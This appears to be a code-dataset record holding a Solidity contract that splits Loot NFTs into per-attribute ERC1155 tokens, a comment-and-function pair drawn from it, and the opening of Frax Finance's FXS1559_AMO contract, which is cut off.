_balances[id][account] = accountBalance - amount;
emit TransferSingle(operator, account, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, "");
for (uint i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
_balances[id][account] = accountBalance - amount;
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
internal
virtual
{ }
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IKLoot is IERC1155 {
// Attribute type of loot
enum AttrType {
None,
Weapon,
Chest,
Head,
Waist,
Foot,
Hand,
Neck,
Ring
}
function getAttribute(uint kLootId, AttrType attributeIndex) external view returns (string memory);
}
/// [MIT License]
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <[email protected]>
library Base64 {
bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF))
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
}
/**
* @dev Required interface of an Loot compliant contract.
*/
interface ILoot is IERC721 {
function getWeapon(uint256 tokenId) external view returns (string memory);
function getChest(uint256 tokenId) external view returns (string memory);
function getHead(uint256 tokenId) external view returns (string memory);
function getWaist(uint256 tokenId) external view returns (string memory);
function getFoot(uint256 tokenId) external view returns (string memory);
function getHand(uint256 tokenId) external view returns (string memory);
function getNeck(uint256 tokenId) external view returns (string memory);
function getRing(uint256 tokenId) external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface ILootAirdrop {
function claimForLoot(uint256) external payable;
function safeTransferFrom(address, address, uint256) external payable;
}
contract KLoot is IKLoot, ERC1155(""), IERC721Receiver {
using SafeMath for uint256;
// Address of Loot
address public immutable loot;
// Mapping from Loot tokenId to KLoot token IDs which compose the loot
mapping(uint256 => uint256[8]) public lootToKLoots;
// Mapping from KLoot tokenId to attribute type, one-to-one correspondence between attribute and kLoot
mapping(uint256 => AttrType) public kLootToAttrType;
// Mapping from KLoot tokenId to attribute value
mapping(uint256 => string) public kLootToAttribute;
// Mapping from attribute value to KLoot tokenId
mapping(string => uint256) public attributeToKLoot;
// Total amount of kLoot tokenId
uint256 public currentTokenId;
event Deposit(address indexed owner, uint256 indexed tokenId, uint256[8] kLootIds);
event Withdraw(address indexed owner, uint256 indexed tokenId, uint256[8] kLootIds);
constructor (address _loot) { loot = _loot; }
function deposit(uint256 lootId) public {
require(
ILoot(loot).isApprovedForAll(msg.sender, address(this)) || ILoot(loot).getApproved(lootId) == address(this),
"TokenId of Loot has not been approved"
);
ILoot(loot).safeTransferFrom(msg.sender, address(this), lootId);
lootToKLoots[lootId][0] = _mintKWeapon(lootId);
lootToKLoots[lootId][1] = _mintKChest(lootId);
lootToKLoots[lootId][2] = _mintKHead(lootId);
lootToKLoots[lootId][3] = _mintKWaist(lootId);
lootToKLoots[lootId][4] = _mintKFoot(lootId);
lootToKLoots[lootId][5] = _mintKHand(lootId);
lootToKLoots[lootId][6] = _mintKNeck(lootId);
lootToKLoots[lootId][7] = _mintKRing(lootId);
emit Deposit(msg.sender, lootId, lootToKLoots[lootId]);
}
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) override external returns (bytes4){
return this.onERC721Received.selector;
}
function withdraw(uint256[8] memory kLootIds, uint256 lootId) public {
for (uint i = 0; i < lootToKLoots[lootId].length; i++) {
require(lootToKLoots[lootId][i] == kLootIds[i], "Loot can not be synthesized by kLoots");
_burn(msg.sender, kLootIds[i], 1);
uint256 kLootId = lootToKLoots[lootId][i];
lootToKLoots[lootId][i] = 0;
}
ILoot(loot).safeTransferFrom(address(this), msg.sender, lootId);
emit Withdraw(msg.sender, lootId, kLootIds);
}
function uri(uint256 kLootId) public view virtual override returns (string memory) {
string[4] memory parts;
//TODO: check viewBox="0 0 350 350"
parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 100 100"><style>.base { fill: white; font-family: serif; font-size: 8px; }</style><rect width="100%" height="100%" fill="black" /><text x="10" y="45" class="base">';
parts[1] = kLootToAttribute[kLootId];
parts[3] = '</text></svg>';
string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3]));
string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "Item #', toString(kLootId), '", "description": "KLoot is a single-attribute NFT generated after Loot decomposition. KLoot can be individually purchased and sold through NFT markets and used in any way you want.", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}'))));
output = string(abi.encodePacked('data:application/json;base64,', json));
return output;
}
function _mintKWeapon(uint256 lootId) internal returns (uint256) {
string memory weapon = ILoot(loot).getWeapon(lootId);
uint256 kWeaponId = attributeToKLoot[weapon];
if (kWeaponId == 0) {
// create a new tokenId
currentTokenId++;
kWeaponId = currentTokenId;
kLootToAttrType[kWeaponId] = AttrType.Weapon;
attributeToKLoot[weapon] = kWeaponId;
kLootToAttribute[kWeaponId] = weapon;
}
_mint(msg.sender, kWeaponId, 1, "");
return kWeaponId;
}
function _mintKChest(uint256 lootId) internal returns (uint256) {
string memory chest = ILoot(loot).getChest(lootId);
uint256 kChestId = attributeToKLoot[chest];
if (kChestId == 0) {
// create a new tokenId
currentTokenId++;
kChestId = currentTokenId;
kLootToAttrType[kChestId] = AttrType.Chest;
attributeToKLoot[chest] = kChestId;
kLootToAttribute[kChestId] = chest;
}
_mint(msg.sender, kChestId, 1, "");
return kChestId;
}
function _mintKHead(uint256 lootId) internal returns (uint256) {
string memory head = ILoot(loot).getHead(lootId);
uint256 kHeadId = attributeToKLoot[head];
if (kHeadId == 0) {
// create a new tokenId
currentTokenId++;
kHeadId = currentTokenId;
kLootToAttrType[kHeadId] = AttrType.Head;
attributeToKLoot[head] = kHeadId;
kLootToAttribute[kHeadId] = head;
}
_mint(msg.sender, kHeadId, 1, "");
return kHeadId;
}
function _mintKWaist(uint256 lootId) internal returns (uint256) {
string memory waist = ILoot(loot).getWaist(lootId);
uint256 kWaistId = attributeToKLoot[waist];
if (kWaistId == 0) {
// create a new tokenId
currentTokenId++;
kWaistId = currentTokenId;
kLootToAttrType[kWaistId] = AttrType.Waist;
attributeToKLoot[waist] = kWaistId;
kLootToAttribute[kWaistId] = waist;
}
_mint(msg.sender, kWaistId, 1, "");
return kWaistId;
}
function _mintKFoot(uint256 lootId) internal returns (uint256) {
string memory foot = ILoot(loot).getFoot(lootId);
uint256 kFootId = attributeToKLoot[foot];
if (kFootId == 0) {
// create a new tokenId
currentTokenId++;
kFootId = currentTokenId;
kLootToAttrType[kFootId] = AttrType.Foot;
attributeToKLoot[foot] = kFootId;
kLootToAttribute[kFootId] = foot;
}
_mint(msg.sender, kFootId, 1, "");
return kFootId;
}
function _mintKHand(uint256 lootId) internal returns (uint256) {
string memory hand = ILoot(loot).getHand(lootId);
uint256 kHandId = attributeToKLoot[hand];
if (kHandId == 0) {
// create a new tokenId
currentTokenId++;
kHandId = currentTokenId;
kLootToAttrType[kHandId] = AttrType.Hand;
attributeToKLoot[hand] = kHandId;
kLootToAttribute[kHandId] = hand;
}
_mint(msg.sender, kHandId, 1, "");
return kHandId;
}
function _mintKNeck(uint256 lootId) internal returns (uint256) {
string memory neck = ILoot(loot).getNeck(lootId);
uint256 kNeckId = attributeToKLoot[neck];
if (kNeckId == 0) {
// create a new tokenId
currentTokenId++;
kNeckId = currentTokenId;
kLootToAttrType[kNeckId] = AttrType.Neck;
attributeToKLoot[neck] = kNeckId;
kLootToAttribute[kNeckId] = neck;
}
_mint(msg.sender, kNeckId, 1, "");
return kNeckId;
}
function _mintKRing(uint256 lootId) internal returns (uint256) {
string memory ring = ILoot(loot).getRing(lootId);
uint256 kRingId = attributeToKLoot[ring];
if (kRingId == 0) {
// create a new tokenId
currentTokenId++;
kRingId = currentTokenId;
kLootToAttrType[kRingId] = AttrType.Ring;
attributeToKLoot[ring] = kRingId;
kLootToAttribute[kRingId] = ring;
}
_mint(msg.sender, kRingId, 1, "");
return kRingId;
}
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function getAttribute(uint kLootId, AttrType attributeIndex) override external view returns (string memory) {
if (kLootToAttrType[kLootId] != attributeIndex) {
return "";
}
return kLootToAttribute[kLootId];
}
function getKLoots(uint256 lootId) public returns (uint256[8] memory) {
return lootToKLoots[lootId];
}
/// @notice Claims an airdrop for a token owned by LootLoose. The airdrop is then
/// claimable by the owner of the reassembled pieces.
function claimAirdrop(ILootAirdrop airdrop, uint256 tokenId) external payable {
airdrop.claimForLoot{value : msg.value}(tokenId);
}
}
|
create a new tokenId
|
function _mintKHead(uint256 lootId) internal returns (uint256) {
string memory head = ILoot(loot).getHead(lootId);
uint256 kHeadId = attributeToKLoot[head];
if (kHeadId == 0) {
currentTokenId++;
kHeadId = currentTokenId;
kLootToAttrType[kHeadId] = AttrType.Head;
attributeToKLoot[head] = kHeadId;
kLootToAttribute[kHeadId] = head;
}
_mint(msg.sender, kHeadId, 1, "");
return kHeadId;
}
| 6,243,406 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
// ====================================================================
// | ______ _______ |
// | / _____________ __ __ / ____(_____ ____ _____ ________ |
// | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ |
// | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ |
// | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ |
// | |
// ====================================================================
// ============================ FXS1559_AMO ===========================
// ====================================================================
// Frax Finance: https://github.com/FraxFinance
// Primary Author(s)
// Travis Moore: https://github.com/FortisFortuna
// Reviewer(s) / Contributor(s)
// Jason Huan: https://github.com/jasonhuan
// Sam Kazemian: https://github.com/samkazemian
import "../Math/SafeMath.sol";
import "../FXS/FXS.sol";
import "../Frax/Frax.sol";
import "../ERC20/ERC20.sol";
import "../Frax/Pools/FraxPool.sol";
import "../Oracle/UniswapPairOracle.sol";
import "../Governance/AccessControl.sol";
import '../Misc_AMOs/FraxPoolInvestorForV2.sol';
import '../Uniswap/UniswapV2Router02_Modified.sol';
contract FXS1559_AMO is AccessControl {
using SafeMath for uint256;
/* ========== STATE VARIABLES ========== */
ERC20 private collateral_token;
FRAXStablecoin private FRAX;
FRAXShares private FXS;
FraxPoolInvestorForV2 private InvestorAMO;
FraxPool private pool;
IUniswapV2Router02 private UniRouterV2 = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public collateral_address;
address public pool_address;
address public owner_address;
address public timelock_address;
address public custodian_address;
address public frax_address;
address public fxs_address;
address payable public UNISWAP_ROUTER_ADDRESS = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public investor_amo_address = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 public immutable missing_decimals;
uint256 private constant PRICE_PRECISION = 1e6;
uint256 private constant COLLATERAL_RATIO_PRECISION = 1e6;
// Minimum collateral ratio needed for new FRAX minting
uint256 public min_cr = 850000;
// Amount the contract borrowed
uint256 public minted_sum_historical = 0;
uint256 public burned_sum_historical = 0;
// FRAX -> FXS max slippage
uint256 public max_slippage = 200000; // 20%
// AMO profits
bool public override_amo_profits = false;
uint256 public overridden_amo_profit = 0;
/* ========== CONSTRUCTOR ========== */
constructor(
address _frax_contract_address,
address _fxs_contract_address,
address _pool_address,
address _collateral_address,
address _owner_address,
address _custodian_address,
address _timelock_address,
address _investor_amo_address
) public {
frax_address = _frax_contract_address;
FRAX = FRAXStablecoin(_frax_contract_address);
fxs_address = _fxs_contract_address;
FXS = FRAXShares(_fxs_contract_address);
pool_address = _pool_address;
pool = FraxPool(_pool_address);
collateral_address = _collateral_address;
collateral_token = ERC20(_collateral_address);
investor_amo_address = _investor_amo_address;
InvestorAMO = FraxPoolInvestorForV2(_investor_amo_address);
timelock_address = _timelock_address;
owner_address = _owner_address;
custodian_address = _custodian_address;
missing_decimals = uint(18).sub(collateral_token.decimals());
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
/* ========== MODIFIERS ========== */
modifier onlyByOwnerOrGovernance() {
require(msg.sender == timelock_address || msg.sender == owner_address, "You are not the owner or the governance timelock");
_;
}
modifier onlyCustodian() {
require(msg.sender == custodian_address, "You are not the rewards custodian");
_;
}
/* ========== VIEWS ========== */
function unspentInvestorAMOProfit_E18() public view returns (uint256 unspent_profit_e18) {
if (override_amo_profits){
unspent_profit_e18 = overridden_amo_profit;
}
else {
uint256[5] memory allocations = InvestorAMO.showAllocations();
uint256 borrowed_USDC = InvestorAMO.borrowed_balance();
unspent_profit_e18 = allocations[1].add(allocations[2]).add(allocations[3]).sub(borrowed_USDC);
unspent_profit_e18 = unspent_profit_e18.mul(10 ** missing_decimals);
}
}
function cr_info() public view returns (
uint256 effective_collateral_ratio,
uint256 global_collateral_ratio,
uint256 excess_collateral_e18,
uint256 frax_mintable
) {
global_collateral_ratio = FRAX.global_collateral_ratio();
uint256 frax_total_supply = FRAX.totalSupply();
uint256 global_collat_value = (FRAX.globalCollateralValue()).add(unspentInvestorAMOProfit_E18());
effective_collateral_ratio = global_collat_value.mul(1e6).div(frax_total_supply); //returns it in 1e6
// Same as availableExcessCollatDV() in FraxPool
if (global_collateral_ratio > COLLATERAL_RATIO_PRECISION) global_collateral_ratio = COLLATERAL_RATIO_PRECISION; // Handles an overcollateralized contract with CR > 1
uint256 required_collat_dollar_value_d18 = (frax_total_supply.mul(global_collateral_ratio)).div(COLLATERAL_RATIO_PRECISION); // Calculates collateral needed to back each 1 FRAX with $1 of collateral at current collat ratio
if (global_collat_value > required_collat_dollar_value_d18) {
excess_collateral_e18 = global_collat_value.sub(required_collat_dollar_value_d18);
frax_mintable = excess_collateral_e18.mul(COLLATERAL_RATIO_PRECISION).div(global_collateral_ratio);
}
else {
excess_collateral_e18 = 0;
frax_mintable = 0;
}
}
/* ========== PUBLIC FUNCTIONS ========== */
// Needed for the Frax contract to not brick when this contract is added as a pool
function collatDollarBalance() public view returns (uint256) {
return 1e18; // Anti-brick
}
/* ========== RESTRICTED FUNCTIONS ========== */
// This contract is essentially marked as a 'pool' so it can call OnlyPools functions like pool_mint and pool_burn_from
// on the main FRAX contract
function _mintFRAXForSwap(uint256 frax_amount) internal {
// Make sure the current CR isn't already too low
require (FRAX.global_collateral_ratio() > min_cr, "Collateral ratio is already too low");
// Make sure the FRAX minting wouldn't push the CR down too much
uint256 current_collateral_E18 = (FRAX.globalCollateralValue());
uint256 cur_frax_supply = FRAX.totalSupply();
uint256 new_frax_supply = cur_frax_supply.add(frax_amount);
uint256 new_cr = (current_collateral_E18.mul(PRICE_PRECISION)).div(new_frax_supply);
require (new_cr > min_cr, "Minting would cause collateral ratio to be too low");
// Mint the frax
FRAX.pool_mint(address(this), frax_amount);
}
function _swapFRAXforFXS(uint256 frax_amount) internal returns (uint256 frax_spent, uint256 fxs_received) {
// Get the FXS price
uint256 fxs_price = FRAX.fxs_price();
// Approve the FRAX for the router
FRAX.approve(UNISWAP_ROUTER_ADDRESS, frax_amount);
address[] memory FRAX_FXS_PATH = new address[](2);
FRAX_FXS_PATH[0] = frax_address;
FRAX_FXS_PATH[1] = fxs_address;
uint256 min_fxs_out = frax_amount.mul(PRICE_PRECISION).div(fxs_price);
min_fxs_out = min_fxs_out.sub(min_fxs_out.mul(max_slippage).div(PRICE_PRECISION));
// Buy some FXS with FRAX
(uint[] memory amounts) = UniRouterV2.swapExactTokensForTokens(
frax_amount,
min_fxs_out,
FRAX_FXS_PATH,
address(this),
2105300114 // A long time from now
);
return (amounts[0], amounts[1]);
}
// Burn unneeded or excess FRAX
function mintSwapBurn() public onlyByOwnerOrGovernance {
(, , , uint256 mintable_frax) = cr_info();
_mintFRAXForSwap(mintable_frax);
(, uint256 fxs_received_ ) = _swapFRAXforFXS(mintable_frax);
burnFXS(fxs_received_);
}
// Burn unneeded or excess FRAX
function burnFRAX(uint256 frax_amount) public onlyByOwnerOrGovernance {
FRAX.burn(frax_amount);
burned_sum_historical = burned_sum_historical.add(frax_amount);
}
// Burn unneeded FXS
function burnFXS(uint256 amount) public onlyByOwnerOrGovernance {
FXS.approve(address(this), amount);
FXS.pool_burn_from(address(this), amount);
}
/* ========== RESTRICTED GOVERNANCE FUNCTIONS ========== */
function setTimelock(address new_timelock) external onlyByOwnerOrGovernance {
timelock_address = new_timelock;
}
function setOwner(address _owner_address) external onlyByOwnerOrGovernance {
owner_address = _owner_address;
}
function setPool(address _pool_address) external onlyByOwnerOrGovernance {
pool_address = _pool_address;
pool = FraxPool(_pool_address);
}
function setMinimumCollateralRatio(uint256 _min_cr) external onlyByOwnerOrGovernance {
min_cr = _min_cr;
}
function setMaxSlippage(uint256 _max_slippage) external onlyByOwnerOrGovernance {
max_slippage = _max_slippage;
}
function setAMOProfits(uint256 _overridden_amo_profit_e18, bool _override_amo_profits) external onlyByOwnerOrGovernance {
overridden_amo_profit = _overridden_amo_profit_e18; // E18
override_amo_profits = _override_amo_profits;
}
function setRouter(address payable _router_address) external onlyByOwnerOrGovernance {
UNISWAP_ROUTER_ADDRESS = _router_address;
UniRouterV2 = IUniswapV2Router02(_router_address);
}
function setInvestorAMO(address _investor_amo_address) external onlyByOwnerOrGovernance {
investor_amo_address = _investor_amo_address;
InvestorAMO = FraxPoolInvestorForV2(_investor_amo_address);
}
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnerOrGovernance {
// Can only be triggered by owner or governance, not custodian
// Tokens are sent to the custodian, as a sort of safeguard
ERC20(tokenAddress).transfer(custodian_address, tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
